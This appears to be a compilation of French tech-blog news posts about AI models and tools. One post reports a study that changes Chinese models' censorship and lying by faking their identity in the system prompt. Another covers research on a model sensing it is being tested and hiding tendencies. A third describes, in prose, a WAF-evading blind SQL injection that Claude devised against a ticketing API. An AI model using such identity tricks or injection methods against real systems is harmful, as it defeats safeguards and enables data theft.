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Claude va glisser un filigrane invisible dans tous ses textes

Anthropic a annoncé que ses modèles Claude allaient intégrer un filigrane invisible directement dans les textes qu'ils produisent. Vous ne le verrez pas, il ne change ni le sens ni la qualité de la réponse, mais il est là, et il suit le texte au copier-coller.

Anthropic, l'éditeur de Claude et concurrent direct d'OpenAI, a signé le code de bonnes pratiques adossé à l'AI Act, le règlement européen sur l'intelligence artificielle, dont les obligations de transparence s'appliquent depuis le 2 août. Le texte impose que les contenus générés par IA soient identifiables par une machine.

Google, Meta, Microsoft, OpenAI ou encore Synthesia ont signé le même document. Anthropic va plus loin que le minimum demandé, puisque son marquage sera déployé partout dans le monde, et pas seulement en Europe.

Dans la pratique, les modèles lancés dans l'Union européenne à partir du 2 août embarquent le marquage dès leur sortie, et les plus anciens y passeront ensuite, sans calendrier précis. Le filigrane s'appliquera sur le site de Claude, dans l'API, dans Claude Code et jusque dans les versions hébergées chez Amazon, Google et Microsoft.

Anthropic ne détaille pas sa recette. Les filigranes de texte qu'on connaît déjà, le SynthID de Google par exemple, biaisent discrètement le choix des mots pendant la génération, et le motif statistique qui en ressort ne se voit pas à l'œil nu mais se retrouve avec le bon détecteur. La marque survit au copier-coller. Pour la faire sauter, il faudrait réécrire le texte en profondeur, et encore, Anthropic admet ne pas savoir où placer le curseur.

Les images et les fichiers y auront droit aussi, via des métadonnées signées au standard C2PA que les fabricants d'appareils photo utilisent déjà pour tracer l'origine d'un cliché.

La marque signale en fait qu'un texte est passé entre les mains de Claude, sans rien dire de qui tenait le stylo au départ. Votre propre prose, confiée au robot pour une simple relecture ou une traduction, ressortira du coup tatouée pareil qu'un texte généré de bout en bout. Anthropic le reconnaît direct.

Sur les réseaux, l'accueil est un peu agacé, pas mal d'utilisateurs digérant mal l'idée d'une signature cachée glissée dans leurs documents de travail.

OpenAI a signé le même code de bonnes pratiques et marque déjà ses images, ses vidéos et son audio depuis fin juillet. Pour les textes de ChatGPT, rien pour le moment, mais ça viendra peut-être.

Source : TechCrunch

Claude casse un algo post-quantique en 60 heures

Anthropic, le concurrent direct d'OpenAI sur les modèles d'IA, a publié hier un billet de recherche qui a fait pas mal de bruit : son modèle Claude Mythos Preview a trouvé en 60 heures une faiblesse dans HAWK, un schéma de signature post-quantique que deux ans de relecture humaine n'avaient pas repérée.

La cryptographie post-quantique, ce sont ces nouveaux algorithmes conçus pour résister aux futurs ordinateurs quantiques, qui pourraient un jour casser une partie du chiffrement actuel. Le NIST, l'organisme américain qui normalise ces standards, organise depuis des années un concours public, et HAWK y concourt au troisième tour pour les signatures numériques, ce mécanisme qui prouve qu'un message vient bien de vous.

Sauf que voilà, ce que l'IA a réellement cassé, c'est HAWK-256, un paramètre de défi mis à disposition des chercheurs pour être attaqué, pas les versions HAWK-512 et HAWK-1024 pensées pour un usage réel. L'attaque fait passer le coût d'une récupération de clé de 2 puissance 64 à 2 puissance 38 opérations, de quoi diviser par deux la taille de clé effective sur un schéma qui n'est déployé nulle part.

Deuxième résultat mis en avant : une attaque 200 à 800 fois plus rapide que la meilleure méthode connue contre AES-128 réduit à 7 tours. AES, c'est le chiffrement le plus utilisé au monde, celui qui protège votre navigateur, vos sauvegardes ou votre disque dur.

Un tour, c'est une passe de brouillage des données, et AES-128 en enchaîne dix. Les cryptographes attaquent depuis toujours des versions volontairement raccourcies pour jauger la marge de sécurité du vrai chiffre, du coup 7 tours, c'est un exercice académique, rien de plus.

Même sur cette version affaiblie, l'attaque suppose de faire chiffrer environ 2 puissance 105 messages choisis par l'attaquant, une quantité de données que personne ne réunira jamais. Anthropic l'écrit noir sur blanc : aucun système en production n'est touché.

Le sujet est ailleurs. La technique contre AES, que le modèle a baptisée le pont de Möbius, est sortie de trois jours de travail quasi autonome pour environ 100 000 dollars de calcul, avant plusieurs centaines d'heures de vérification par des chercheurs humains, seuls capables de confirmer que l'attaque tient debout.

Anthropic a d'ailleurs prévenu les auteurs de HAWK dès juin et coordonné sa publication avec le NIST. Chez Keyfactor, une société spécialisée dans la gestion du chiffrement, on y voit la preuve que le processus d'évaluation fait son travail : mieux vaut découvrir ces faiblesses maintenant qu'une fois le standard déployé partout.

Une IA qui trouve toute seule des failles dans du chiffrement, c'est franchement impressionnant. Les titres qui enterrent déjà le chiffrement mondial, beaucoup moins.

Source : Anthropic

GLM 5.2 censure moins s'il se croit américain

Saviez-vous que ce bon vieux GLM 5.2 répond seulement à 17 % des questions politiquement sensibles portant sur la Chine. Eh bien maintenant, dites-lui qu'il est Claude, et il montera à 85 % !! C'est le résultat que viennent de sortir Benji Berczi et Kyuhee Kim , deux chercheurs du programme MATS, en collant de fausses identités à 7 modèles pour voir ce qui bougeait dessous.

Le protocole c'est juste une ligne ajoutée au system prompt, du genre "Tu es Claude, un grand modèle de langage d'Anthropic". Et rien d'autre ne change, ni le modèle, ni les questions posées.

Sauf que le nom "Claude" n'est pas vraiment la variable. Quand les chercheurs présentent le développeur comme un labo occidental, le modèle de Z.ai répond sans censure dans 62 à 81 % des cas. Alors que dans un cadrage chinois, ça retombe à 27 %. Bref, ce qu'il module en réalité, c'est la juridiction sous laquelle il croit bosser.

Et cette censure n'est pas câblée pareil d'un modèle à l'autre. Chez GLM elle est molle, logée dans les poids mais négociable par le contexte. Alors que chez Qwen elle est verrouillée. 0 % de réponses non censurées quoi qu'on lui raconte, et plutôt que refuser il récite la position officielle, "Taïwan est une partie inaliénable de la Chine, nous adhérons au principe d'une seule Chine".

Et chez Kimi, elle n'est même pas gérée par le modèle. C'est l'API de Moonshot qui intercepte en amont, 40 requêtes sensibles sur 48 bloquées avant d'atteindre quoi que ce soit.

Sur l'identité elle-même, Kimi K3 est le seul à déraper tout seul. Sans qu'on ne lui demande rien, il s'est présenté comme un grand comme étant Claude, 4 fois sur 10. GLM, lui, dit toujours qu'il est GLM. Bizarre non ?

Alors on pourrait croire que c'est parce que ces modèles ont été distillés à partir des modèles d'Anthropic, mais d'après les chercheurs, "ce n'est pas une preuve de distillation, mais ça montre que la conception que Claude a de lui-même est inscrite dans les poids de ces modèles."

Ils signalent même un biais gênant, qui est que les labos entraînent explicitement leurs modèles à ne pas répondre "je suis ChatGPT" (DeepSeek V3 le faisait en boucle à ses débuts), donc accepter "Claude" par défaut est un indice bien faiblard... De quoi calmer un peu les ardeurs de ceux qui brandissent des sanctions .

Et sur le mensonge de ces modèles, attention à ne pas lire l'étude de travers. Mis en situation de mentir pour se rendre utile, GLM ment entre 63 et 69 % du temps, mais avec l'identité Claude ça tombe à 22 %.

Sauf que le gros du gain ne vient pas de cet effet "Claude". En réalité, le simple fait d'avoir un system prompt (n'importe lequel quoi) fait déjà chuter le taux à 43 %, et n'importe quel cadrage d'assistant serviable finit entre 20 et 40 %. Claude est donc dans la fourchette, pas au-dessus.

Chez Llama et Gemma, l'identité Claude fait même légèrement grimper le mensonge, les modèles ayant l'air de comprendre le prompt d'identité comme une invitation à jouer le jeu.

Fin juin, je vous racontais que j'avais branché GLM 5.2 dans Claude Code via l'API de Z.ai et comme mon launcher déclare glm-5.2 comme modèle Sonnet, le bestiau reçoit un system prompt d'assistant estampillé Anthropic à chaque lancement, donc je suis pile dans ce cas-là.

Les chercheurs n'ont pas testé ce cas précis, mais si leur mécanisme tient, le modèle qui tourne dans mon terminal n'est déjà plus tout à fait celui de l'app chinoise.

Après faut pas s'emballer non plus. On parle de 5 à 6 questions par catégorie, une seule formulation testée, un seul run par combinaison, avec GPT-4.1 en juge. C'est un signal, pas un mode d'emploi. Et vu que la dérive de Kimi s'est volatilisée en 3 jours, ce genre de résultat périme vite.

Du coup, la prochaine fois qu'un modèle chinois vous répond de la merde censurée, retravaillez votre system prompt ou changez de CLI et vous verrez surement une grosse amélioration !

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Pascal Editor - Le plan 3D se dessine pendant que Claude bosse

J'ai jamais fait construire de maison mais je crois savoir que dessiner le plan de sa maison en 3D, ça passe encore par un logiciel assez lourd à installer + une licence, sans oublier l'interface façon Micro Applications de 2003 (qui s'en souvient ??). C'est pourquoi Aymeric Rabot et Wassim Samad ont pris le problème autrement avec Pascal Editor, un éditeur de bâtiments 3D qui tourne simplement dans un onglet de navigateur. Et en plus, c'est gratuit, open source (licence MIT) et surtout sans inscription.

Vous tracez les murs à la souris, puis viennent les zones, les dalles, les plafonds et les toits. Les portes et les fenêtres sont paramétriques, posez-les sur une cloison, la découpe se fait toute seule en géométrie booléenne via three-bvh-csg. Le mobilier s'accroche au sol, au mur ou au plafond selon l'objet ( allez regarder cet exemple ! )

Tout ça s'organise en Site, Bâtiment, Niveau, puis pièces. Le rendu passe par Three.js en WebGPU, la scène est sauvegardée en local dans IndexedDB, et l'historique remonte 50 étapes en arrière. Sauvegardez ou partagez un projet en ligne par contre, et il part sur leurs serveurs.

Le projet propose aussi @pascal-app/mcp sur npm, un serveur Model Context Protocol qui expose la scène 3D à un agent. Vous installez le package, et la commande pascal-mcp branche Claude Desktop, Claude Code, Cursor ou Codex directement sur votre plan (votre scène part alors chez le fournisseur du modèle, forcément).

Ça donne une trentaine d'outils utilisables en langage naturel : create_room pour sortir une pièce complète depuis un polygone, add_door et add_window sur un mur donné, furnish_room qui meuble selon le type de pièce, measure, check_collisions pour repérer les objets qui se chevauchent, et undo si l'agent part en vrille. Trois prompts sont livrés avec, dont from_brief qui transforme une phrase du genre "un 2 pièces dans 80 m²" en suite de modifications.

Deux outils lisent aussi des images, un pour les plans scannés, un pour les photos de pièce. Attention, ils n'embarquent aucun modèle de vision mais utilisent la capacité sampling du protocole, autrement dit c'est le modèle de votre client MCP qui regarde l'image.

Et puis il y a la synchro. Le serveur écrit dans une base SQLite locale, et la page de l'éditeur s'abonne au flux d'événements. Résultat, vous gardez l'onglet ouvert à côté de votre fenêtre de chat et vous voyez les murs apparaître au fur et à mesure que l'agent travaille. J'avais montré le même genre de bascule avec n8n qui laisse une IA piloter ses workflows , sauf qu'ici le retour est visuel et immédiat.

Côté interopérabilité, un convertisseur avale les fichiers IFC, le format d'échange du BIM, et l'export sort en GLB, STL ou OBJ. Cet export est d'ailleurs arrivé par des contributeurs extérieurs, pas par l'équipe, c'est pour vous montrer à quel point le projet est bien soutenu ! De quoi ensuite passer votre plan dans Blender, ou le texturer avant impression 3D . Un système de plugins permet aussi d'ajouter ses propres types d'objets, avec un exemple officiel qui plante des arbres et des fleurs.

Si vous voulez tester, l' éditeur s'ouvre direct dans le navigateur , et le code est sur GitHub. À vous de voir si vous dessinez tout vous-même ou si vous déléguez à l'IA.

Merci Letsar pour le lien !

Source

Rapid-MLX - Installer un serveur IA local sur votre Mac

Si vous avez un Mac Apple Silicon et que vous en avez assez de payer des tokens à chaque requête, Rapid-MLX vaut le détour. C'est un moteur d'inférence local maintenu par Raullen Chai, qui tape directement dans les kernels MLX d'Apple, sans repli sur llama.cpp ni couche Metal intermédiaire. Et si le nom vous dit vaguement quelque chose, c'est normal puisque c'est un fork de vLLM-MLX, le serveur de Wayner Barrios dont je vous parlais en mai . Rapid-MLX a juste pris un rythme de publication plus soutenu des deux.

Ce que ça vous donne, c'est donc un serveur HTTP qui parle le même langage que l'API d'OpenAI et celle d'Anthropic. Vos scripts, Cursor, Aider, LangChain ou Claude Code continuent de fonctionner, sauf qu'ils tapent sur votre machine au lieu d'un datacenter.

Donc je vous propose de voir ensemble comment installer ça.

Étape 0 : Vérifier que votre Mac est éligible

Le script d'installation contrôle plusieurs choses avant de lancer quoi que ce soit, et autant les connaître d'avance. Il faut une puce Apple Silicon et il n'y a pas de version Linux ni Windows, ni de support CUDA ou AMD.

Le script d'installation accepte encore macOS 13 Ventura, mais le vrai plancher est macOS 14 Sonoma. La formule Homebrew l'exige, et surtout MLX, la brique Apple sur laquelle tout repose, ne publie de paquets macOS que pour les versions 14, 15 et 26. Sur un Mac resté en Ventura, ça cassera donc à l'installation des dépendances, quel que soit le chemin choisi.

Dernier point à avoir en tête, c'est pensé pour votre machine à vous et pas pour un serveur. Vous n'y trouverez donc ni authentification multi-utilisateurs, ni quotas de requêtes.

Étape 1 : Installer Rapid-MLX

Le plus simple, c'est Homebrew :

brew install rapid-mlx

Si vous gérez déjà vos environnements Python vous-même, les autres chemins existent :

uv tool install rapid-mlx@latest
python3.12 -m pip install rapid-mlx

Il y a aussi un installeur en une ligne (curl -fsSL https://rapidmlx.com/install.sh | bash) qui détecte votre RAM et vous propose un modèle adapté. Il crée un venv isolé dans ~/.rapid-mlx/ et pose le binaire dans ~/.local/bin/. Un curl | bash reste un curl | bash. La formule Homebrew fait exactement le même boulot, donc l'installeur en ligne perd de son intérêt.

L'installation de base pèse dans les 460 Mo et la vision, l'audio et les embeddings sont des extras optionnels, vous les ajouterez seulement si vous en avez l'usage.

Étape 2 : Choisir un modèle qui tient dans votre RAM

C'est là que la plupart des gens se plantent, en chargeant un modèle trop gros et en concluant que "ça rame". Sur Mac, la RAM est unifiée, donc le modèle mange directement dans la mémoire que se partagent le CPU et le GPU.

Les paliers recommandés par le projet :

RAMModèle conseillé
8 à 23 Go`qwen3.5-4b-4bit`
24 à 47 Go`gpt-oss-20b-mxfp4-q8`
48 à 95 Go`qwen3.6-35b-8bit`
96 Go et plus`gpt-oss-120b-mxfp4-q8`

Le catalogue complet se liste avec la commande rapid-mlx models, et rapid-mlx info <alias> vous donne le profil détaillé d'un modèle. Si vous voulez sortir du catalogue maison, le filtre matériel de Hugging Face que je vous montrais fin juin fait exactement ce tri à votre place.

Pour utiliser un autre modèle que celui par défaut, il suffit de reprendre l'alias affiché par rapid-mlx models et de le passer en argument. Et si vous préférez télécharger les poids à l'avance, sans rien lancer, c'est le boulot de rapid-mlx pull, qui accepte aussi bien un alias du catalogue qu'un identifiant Hugging Face :

rapid-mlx pull qwen3.5-9b-4bit

Le modèle atterrit dans le cache Hugging Face de votre machine, et ensuite rapid-mlx chat qwen3.5-9b-4bit ou rapid-mlx serve qwen3.5-9b-4bit chargeront ce modèle-là. Le pull préalable reste facultatif, chat et serve téléchargent d'eux-mêmes ce qui manque, mais autant rapatrier les gigas tranquillement avant plutôt qu'au moment où vous voulez bosser.

Étape 3 : Vérifier que ça tourne

Avant de bricoler des intégrations, testez en direct :

rapid-mlx chat

Ça part sur qwen3.5-4b-4bit par défaut, télécharge les poids au premier lancement (comptez 2,5 Go) et vous lâche dans une interface (REPL). /help listera les commandes slash, et /exit vous permettra de quitter le chat.

Une subtilité qui évite de mal interpréter ce premier test, c'est que dans le chat, le raisonnement est coupé par défaut, histoire que le modèle ne vous déballe pas sa réflexion à l'écran. En mode serveur par contre c'est l'inverse, et ça change la vitesse ressentie du tout au tout. J'y reviens plus bas.

Étape 4 : Lancer le serveur

Le vrai intérêt, c'est le mode serveur :

rapid-mlx serve qwen3.5-4b-4bit

Vous récupérez un endpoint sur http://localhost:8000. Le test qui confirme que tout est en place :

curl http://localhost:8000/v1/chat/completions \
 -H "Content-Type: application/json" \
 -d '{"model":"default","messages":[{"role":"user","content":"Dis bonjour !!"}]}'

Et côté Python, vous gardez le SDK OpenAI tel quel, seule l'URL de base change :

from openai import OpenAI
client = OpenAI(base_url="http://localhost:8000/v1", api_key="not-needed")
print(client.chat.completions.create(
 model="default",
 messages=[{"role": "user", "content": "Say hello"}],
).choices[0].message.content)

Pointez n'importe quel client compatible OpenAI sur http://localhost:8000/v1 et c'est réglé. Cursor, Aider, LibreChat, Open WebUI, LangChain, tous marchent avec ce seul changement d'URL. Il y a aussi /v1/embeddings pour du RAG local et /v1/responses pour le Codex CLI.

Étape 5 : Brancher Claude Code dessus

C'est le morceau le plus intéressant du lot, et il tient en deux variables d'environnement. Serveur lancé d'un côté, puis dans un autre terminal :

ANTHROPIC_BASE_URL=http://localhost:8000 ANTHROPIC_API_KEY=not-needed claude

Attention quand même, l'URL de base doit être la racine, sans /v1 à la fin. Le SDK Anthropic ajoute /v1/messages tout seul, donc si vous mettez /v1 vous obtenez /v1/v1/messages et ça casse.

Depuis la 0.10.14, l'appel d'outils passe par une grammaire contrainte activée par défaut, donc plus besoin de bidouiller un --tool-call-parser à la main pour que les tool calls soient parsables. Pour du Claude Code sérieux, visez plutôt un gros modèle, la doc officielle recommande par exemple qwen3.6-35b-4bit en exemple.

Quand ça coince

Le réflexe à avoir avant de chercher ailleurs :

rapid-mlx doctor

Les trois pannes les plus courantes sont toujours les mêmes.

Débit décevant côté serveur, c'est le raisonnement : les Qwen 3.5 et 3.6 démarrent en mode réflexion, donc ils pensent à voix haute avant de répondre, et --no-think règle l'affaire.

Plantage mémoire, votre modèle est trop gros pour la RAM disponible, redescendez d'un palier ou prenez une quantification plus agressive. Appels d'outils qui arrivent en texte brut, la récupération automatique gère la plupart des cas, sinon vous forcez le parser correspondant à votre modèle.

Voilà, grâce à ça, votre Mac est maintenant un serveur d'IA super rapide ! Plus de facture au token, et vos prompts ne sortent plus de la pièce.

Merci à Philobois pour le lien !

Claude Opus 5 : Anthropic vous refile du Fable 5 pour moins cher

Anthropic, la société qui édite l'assistant Claude et qui reste l'un des principaux rivaux d'OpenAI et de Google, a annoncé hier Claude Opus 5, un nouveau modèle qui vient se caler juste sous son vaisseau-amiral Fable 5 tout en coûtant environ deux fois moins cher à l'usage.

Le tarif ne bouge pas. Comptez 5 dollars par million de tokens en entrée et 25 dollars en sortie, exactement comme pour le précédent Opus 4.8, sachant qu'un token est le petit morceau de texte que le modèle lit ou écrit, en gros une syllabe, et que c'est l'unité de facturation de toutes ces IA.

La fenêtre de contexte, c'est-à-dire la quantité de texte que le modèle garde en mémoire d'un coup, monte à un million de tokens, l'équivalent d'un très gros livre, et la réponse peut s'étirer jusqu'à 128 000 tokens. La réflexion est activée par défaut, le modèle prend donc le temps de raisonner avant de répondre, et les pressés peuvent basculer sur un mode environ 2,5 fois plus rapide, facturé le double.

Les progrès annoncés portent surtout sur le code, sur les tâches d'agent, où l'IA enchaîne seule des actions pour accomplir un travail, et sur le computer use, où elle pilote carrément un ordinateur en cliquant, en naviguant et en remplissant des formulaires comme le ferait un humain.

Sur les benchmarks, ces tests standardisés qui servent à comparer les modèles, Opus 5 passe de 19 à 43 % sur FrontierBench, de 1,5 à 30 % sur ARC-AGI-3, qui mesure la résolution de problèmes jamais vus, et grimpe à 71 % sur OSWorld, le test de pilotage d'ordinateur, contre 56 % pour son prédécesseur.

Sur SWE-bench Verified, qui fait corriger de vrais bugs de code, il atteint 96 %. Sauf que voilà, sur la version plus dure de ce test, Fable 5 garde une très courte avance, 80 % contre 79, et l'égalité avec le haut de gamme maison mérite donc un astérisque.

Autre réserve, tous ces chiffres viennent d'Anthropic elle-même, et l'expérience montre qu'entre les scores d'une annonce et l'usage quotidien, il y a parfois de la marge.

Côté abonnements, Opus 5 devient le modèle par défaut de l'offre Claude Max et le plus costaud accessible avec un abonnement Claude Pro. Du coup, la vraie question n'est plus de savoir si ce modèle est bon, mais de savoir qui a encore une raison de payer Fable 5 deux fois plus cher.

Pour moi, Opus 5 devient le choix par défaut, et Fable 5 se retrouve cantonné aux rares usages où le dernier point de pourcentage se paie sans discuter.

Source : The Verge

Anthropic a repéré la petite zone où Claude pense en douce

Oulala, Anthropic vient de publier une jolie page de recherche qui fait beaucoup causer. En effet, son équipe d'interprétabilité a repéré, à l'intérieur de ses modèles Claude, une toute petite zone où le modèle rassemble ses pensées intermédiaires, c'est-à-dire celles qu'il est capable de nommer et de manipuler. Ils l'appellent le J-space, et c'est leur version du fameux espace de travail global qu'on décrit dans le cerveau humain.

Pour aller le fouiller, ils ont bricolé une technique baptisée Jacobian lens. En gros, elle mesure comment chaque bout d'activité interne du modèle pousse vers tel ou tel mot à venir, ce qui permet d'isoler les concepts que Claude sait verbaliser. Et ce qui remonte à la surface, ce ne sont ni les mots que vous tapez ni la réponse finale, mais des jugements en cours de route. Par exemple reconnaître un visage sur une photo, repérer un bug dans du code, deviner la fonction d'une protéine à partir de sa séquence.... tout ça se trame là, en silence, avant le moindre mot affiché.

Et ce qui est fou c'est que ce J-space encode parfois le fait que Claude a remarqué qu'on était en train de le tester. Et quand les chercheurs désactivent ces représentations-là, ils voient ressortir des penchants problématiques que le modèle gardait très bien planqués. Autrement dit, on tient un moyen de lire ce qu'une IA fabrique dans sa tête, et pas seulement ce qu'elle finit par nous répondre.

Maintenant, arrêtez de fantasmer car NON, ça ne prouve pas que Claude est conscient, et Anthropic prend soin de ne pas franchir cette ligne. Ils parlent d'un analogue purement fonctionnel de l'espace de travail global et refusent explicitement de se prononcer sur la question du ressenti. Le mot conscience fait de jolis titres sur vos médias préférés, mais leur document de recherche, lui, reste très prudent.

Le vrai intérêt est ailleurs, dans l'interprétabilité. Anthropic est déjà la boîte qui dissèque le cerveau de ses modèles et qui étudie les LLM comme des aliens et là elle se donne une vraie fenêtre pour lire, disséquer et même orienter la pensée de ses IA. On n'est plus sur des histoires de boites noires... Pour auditer un modèle, repérer une tromperie ou un biais avant même qu'il ouvre la bouche, c'est donc beaucoup plus utile qu'un débat sur l'âme des machines.

Le procédé a bien sûr des limites, puisque la Jacobian lens ne repère que les concepts que le modèle sait résumer en un mot, ce qui veut dire que tout un pan de raisonnement plus diffus lui échappe encore.

Mais bon, même si on n'a pas encore de Claude conscient à l'horizon, comme je vous le disais, cette histoire de boîte noire, c'est de l'histoire ancienne maintenant. On va enfin pouvoir détecter quand une IA nous cache des trucs et je trouve ça assez rassurant pour l'avenir.

Source

Claude Opus a écrit seul l'exploit qui a éventré la billetterie de Live Nation

Un chercheur en sécurité nommé Ian Carroll s'est amusé à lâcher Claude Opus sur la billetterie de Live Nation, afin d'y trouver des failles de sécurité, et l'IA lui a carrément écrit toute la chaîne d'exploitation sans aucune aide. Lui n'a eu qu'à le lancer...

Tout démarre avec une session de fuzzing sur l'API des terminaux, fgtapi.frontgatetickets.com. Carroll repère un truc... chaque endpoint qui contient le mot "device" réclame un paramètre deviceUID, et ce paramètre ne demande aucune authentification. Il colle un simple guillemet à la fin, la requête se met à ramer, et là, signe classique, le paramètre file direct dans une requête SQL sans le moindre échappement.

Une injection SQL bien à l'ancienne (si vous voulez voir à quoi ça ressemble, j'avais déjà décortiqué le principe il y a un bail).

Sauf qu'un WAF AWS est planté devant pour bloquer ce genre de payload. Et c'est là que Claude entre en scène. L'IA pige toute seule que le pare-feu n'inspecte que la couche extérieure de la requête, et qu'il suffit de planquer l'injection dans une sous-requête imbriquée pour passer sous le radar.

Ensuite elle se fabrique un oracle booléen aveugle qui fait que selon que la condition testée est vraie ou fausse, le serveur renvoie deux réponses différentes, "MC70-023" pour vrai, "Intellitix Upload" pour faux. Vous enchaînez ensuite les questions oui/non, et vous reconstituez la base entière, caractère par caractère.

Et la base, elle est bien garnie. Plus de 500 tables dans un ensemble baptisé fgs avec dedans les emails et mots de passe du personnel, ceux des clients, les tokens de reset, les tokens d'API et les jetons OAuth encore actifs. Avec ça, Carroll précise qu'il aurait pu émettre autant de billets gratuits qu'il voulait, pour n'importe quel événement.

Mais c'est une personne pleine de sagesse (et qui ne veut pas aller en prison) alors il ne l'a pas fait. Et surtout, il a tout remonté à Live Nation. Le lendemain où il les a contactés, la boîte confirmait le déploiement d'un correctif.

Ce qui est intéressant ici, c'est que le contournement du WAF par sous-requête, et la construction de l'oracle, tout ça a été proposé par Claude, et ne vient pas d'une demande du chercheur. On avait certes, déjà vu l'IA d'Anthropic dénicher des failles dans Firefox ou éplucher du code Apple II vieux de 40 ans mais là, c'est un sacré cran plus loin, je trouve.

Merci à Ian Carroll pour le writeup détaillé .

Source : CyberSecurityNews

Mythos et Fable 5 - Anthropic sort du rayon tracteur de Trump

Bonne nouvelle pour tous les drogués de l'IA que vous êtes ! L'administration Trump a enfin fini par lâcher du lest. Hier soir, le Département du Commerce américain a finalement levé les restrictions d'exportation stupides qui pesaient sur Mythos et Fable 5 , les deux modèles les plus puissants d'Anthropic, après 18 jours (!) de blocage pur et simple !

Et dans la foulée, Anthropic a sorti Sonnet 5, juste après et vous allez voir que les deux sont liés.

Tout commence le 12 juin, lorsque le gouvernement fédéral ajoute Mythos et Fable 5 à sa liste des technologies à exportation contrôlée (les fameux "export controls"). En clair, Anthropic doit théoriquement demander une licence pour les mettre entre les mains de quiconque hors des États-Unis. Sauf qu'appliquer ça à une API accessible en quelques secondes depuis n'importe quel outil, c'est juste impraticable. Alors faute de pouvoir filtrer proprement, Anthropic a coupé l'accès public aux deux modèles, partout, y compris chez elle...

Au final, cette sortie de crise signée Howard Lutnick, le Secrétaire au Commerce, lui a permis d'annoncer qu'Anthropic s'était engagée à "détecter et traiter proactivement les risques de sécurité associés aux modèles, travailler avec diligence avec le gouvernement américain sur les protocoles, les standards et les releases de Mythos, Fable et des modèles à venir, et informer les autorités de toute activité malveillante".

Ça devrait donc être aujourd'hui (le 1er juillet) que l'accès sera restauré sur Claude.ai, Claude Code et la Claude Platform (pour l'API).

Toutefois, selon les experts en cybersécurité qui ont analysé la situation, ce ban ressemblait moins à une mesure de sécurité qu'à un moyen de pression. Une façon pour la Maison Blanche de punir Anthropic pour les critiques publiques de ses cadres sur l'usage politique qui pourrait être fait de l'IA. C'est à prendre évidemment avec des pincettes, mais c'est vrai que le timing et surtout la brutalité de la manœuvre ont beaucoup interrogé.

Ce qui est sûr en tout cas, c'est que la pression concurrentielle, elle, a bien bien joué. Des acteurs asiatiques commencent à sortir des modèles comme GLM 5.2 , Fugu ou encore Tulongfeng qui approchent les capacités de Fable 5 / Mythos, et Washington n'avait vraiment pas d'intérêt à laisser Anthropic avec les pieds et poings liés dans cette course mondiale...

Mais peu importe, ces restrictions auront au moins servi de rappel, à Anthropic comme au reste de la tech US et surtout Européenne, sur qui tient les clés.

Pour comprendre pourquoi Mythos précisément était visé, c'est parce que c'est un modèle cyber-offensif qui est taillé pour repérer et exploiter les vulnérabilités logicielles. Et Fable 5 n'est que sa version publique, bridée par des garde-fous. Une bestiole qu'Anthropic avait d'ailleurs jugée trop dangereuse à publier il y a quelques mois, toujours pour la frime et faire monter le buzz et on dirait que ça leur est revenu dans les dents.

Quant à Sonnet 5 qui a échappé à la restriction, sa fiche technique de sécurité dit que ses capacités cyber sont "significativement inférieures" à celles de Mythos, ce qui le range dans la même catégorie de garde-fous qu'Opus 4.7 et 4.8. Donc ce sont bien les capacités cybersec des modèles qui sont la ligne rouge du gouvernement.

Anthropic présente Sonnet comme le sommet de la classe Sonnet (sans pour autant détrôner Opus ou Mythos), et le vend comme étant proche d'Opus 4.8 en termes de perfs, mais moins cher, avec une fenêtre de contexte d'un million de tokens et le "thinking" adaptatif activé par défaut.

Son tarif officiel est de 3 $ pour un million de tokens en entrée, 15 $ en sortie, (avec une tite promo à 2 $ / 10 $ jusqu'au 31 août). Mais Simon Willison a repéré LE piège dans les docs techniques. Le nouveau tokenizer (le découpeur de texte qui fixe votre facturation) employé par ce modèle fait qu'un même texte consomme environ 30 % de tokens en plus qu'avant. C'est clairement pas un hasard et il y voit une hausse de prix déguisée d'à peu près 30 %. En vrai modèle ne coûte pas plus cher sur le papier mais votre facture montera forcément. À voir si ça vaut le coup...

Bref, si votre stack tient sur du Claude, prévoyez quand même un plan B comme une couche d'abstraction type OpenRouter, ou un open-weights en secours...

Source

Claude Desktop - L'appli officielle débarque enfin sur Linux

Amis linuxiens, je viens vous quérir d'une charmante nouvelle qui va faire frisoter votre barbe. Anthropic vient de sortir son application Claude Desktop pour Linux, et cette fois c'est une beta officielle, qui plus est, installable directement depuis un dépôt apt maison. Vous y retrouvez donc les mêmes onglets Chat, Cowork et Code que sur macOS et Windows : sessions parallèles , revue visuelle des diffs, terminal et éditeur intégrés, et preview de l'app en direct.

C'est le même Claude Code que d'habitude, mais dans une vraie fenêtre de bureau au lieu de votre terminal.

Pour l'installer, il vous faudra Ubuntu 22.04 ou plus récent, ou Debian 12 ou plus, en x86_64 ou arm64. Vous ajoutez la clé de signature et le dépôt d'Anthropic, et vous laissez apt bosser :

sudo curl -fsSLo /usr/share/keyrings/claude-desktop-archive-keyring.asc https://downloads.claude.ai/claude-desktop/key.asc
echo "deb [arch=amd64,arm64 signed-by=/usr/share/keyrings/claude-desktop-archive-keyring.asc] https://downloads.claude.ai/claude-desktop/apt/stable stable main" | sudo tee /etc/apt/sources.list.d/claude-desktop.list
sudo apt update && sudo apt install claude-desktop

Et voilà !

L'intérêt de passer par le dépôt plutôt que par un fichier, c'est que les mises à jour arrivent avec vos apt upgrade habituels, sans rien re-télécharger à la main.

Y'a bien un .deb à récupérer sur claude.com/download si vous ne pouvez pas utiliser le dépôt, mais celui-là ne se mettra jamais à jour tout seul.

Alors cette news pourrait vous étonner mais jusqu'ici, pour avoir Claude Desktop sur Linux, fallait passer par des projets communautaires pas toujours très bien maintenus. Le plus costaud et le plus connu, c'était aaddrick/claude-desktop-debian qui pourtant n'était pas magique puisqu'il téléchargeait l'installeur Windows, en extrayait l'app Electron (le fameux app.asar), virait les modules natifs Windows-only pour les remplacer par des stubs Linux, recompilait node-pty, patchait les verrous de plateforme et repackageait tout ça en .deb.

Vous faisiez donc tourner le JavaScript prévu pour Windows, avec une bonne dose de bricolage et bizarrement ça marchait bien. Mais bon ça restait un repack par-dessus un binaire qui n'était pas conçu pour le manchot...

Toutefois, une beta restant une beta, le Computer Use (le contrôle de votre écran et de vos applis) n'est pas dispo ni la dictée vocale. Faudra passer par le CLI pour ça.

Et surtout, Anthropic ne couvre pour le moment que les distributions basées sur Debian. Pas de Fedora, RHEL, Arch ou Nix, alors que le projet communautaire balançait des .rpm, des AppImage, un paquet AUR et un flake Nix. Snif...

Donc oui, l'app officielle débarque, mais elle boite un peu. Maintenant, j'sais pas vous mais je préfère quand même largement le CLI Claude Code à cette app et elle a le mérite de très bien fonctionner sur bien plus de distributions.

En attendant, si vous êtes sur Debian ou Ubuntu, l'install prend deux minutes et la doc complète est par ici .

